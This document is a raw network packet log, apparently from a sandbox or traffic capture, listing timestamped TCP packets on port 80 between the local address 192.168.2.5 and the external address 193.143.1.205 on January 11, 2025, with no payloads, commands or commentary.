Jan 11, 2025 04:48:30.302905083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302916050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302938938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302973032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302988052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303005934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303040981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303051949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303581953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303627968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303637028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303673983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303726912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303730011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303765059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303797007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303814888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303834915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303869009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303879976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303903103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303936005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.303941965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.303972006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304019928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.304466009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.304603100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304641962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304677010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304709911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304737091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.304744959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304754019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.304781914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304816961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304831028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.304850101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304883003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.304896116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.316051960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.344038963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.344074965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.344147921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.345801115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.356386900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.375655890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375700951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375771046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.375785112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375837088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.375837088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375889063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375926018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375938892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.375962973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.375997066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376008034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.376027107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376072884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.376076937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376111031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376147985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376174927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.376182079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.376234055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.393024921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393057108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393094063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393117905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.393129110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393162012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393167019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.393194914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393228054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393254995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.393265963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.393315077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407012939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407047987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407094002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407107115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407159090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407191038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407207012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407224894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407264948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407272100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407361984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407409906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407413960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407444000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407479048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407495022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.407577038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.407624006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.423517942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423551083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423598051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.423607111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423645020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423697948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.423716068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423767090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423804998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423811913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.423836946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423881054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.423890114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423930883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423962116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.423975945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424000025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424032927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424048901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424071074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424103975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424118042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424140930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424190044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424194098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424252033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424295902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424300909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424336910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424370050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424396038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424407005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424444914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424454927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424484968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424529076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424536943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424585104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424618006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424631119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424653053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424702883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424705982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424743891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424777985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424798012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424828053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424861908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424876928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424896955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424933910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.424947023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.424968958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425019026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425205946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425244093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425296068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425303936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425329924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425363064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425385952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425400019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425435066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425448895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425470114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425504923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425513029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425538063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425571918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425605059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425726891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425762892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425779104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425796986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425841093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425848007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425882101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425919056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.425934076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.425972939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426011086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426028967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426048040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426079988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426093102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426115036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426148891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426160097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426182985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426215887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426232100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426253080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426286936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426297903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426321983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426357985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426366091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426395893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426445961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426745892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426799059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426837921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426851988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426892996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426932096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.426937103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.426966906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427015066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427018881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427023888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427057981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427064896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427094936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427131891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427146912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427169085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427206993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427212954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427248001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427284002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427299976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427340984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427382946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427388906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427397013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427445889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427453995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.427488089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.427536011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.429574966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.442313910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467027903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467067003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467120886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467127085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467166901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467210054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467236042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467272043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467309952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467315912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467401981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467436075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467449903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467473030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467509031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467520952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467544079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467576981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467588902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467612028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467644930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467658043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.467679977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.467720032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.484365940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484405041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484455109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.484457016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484493971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484535933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484563112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.484591007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484625101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484643936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.484659910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.484705925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.499784946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.499823093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.499859095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.499877930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.499898911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.499932051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.499942064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.499968052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.500001907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.500019073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.500039101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.500173092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523255110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523298025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523360968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523395061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523430109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523471117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523488045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523542881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523577929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523607016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523613930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523652077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523665905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523684978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523736000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523750067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523772955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523825884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523829937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523874044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523909092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523931980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.523947954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.523981094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524005890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524013996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524048090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524064064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524081945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524116993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524131060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524157047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524190903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524203062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524233103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524269104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524286032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524302006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524339914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524358034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524379969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524396896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524425030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524430990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524465084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524487019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524506092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524538994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524557114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524576902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524611950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524631977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524647951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524682999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524699926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524717093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524749994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524760962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524786949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524822950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524842978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524856091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524888992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524913073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524924994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.524960995 CET	80	49704	193.143.1.205	192.168.2.5
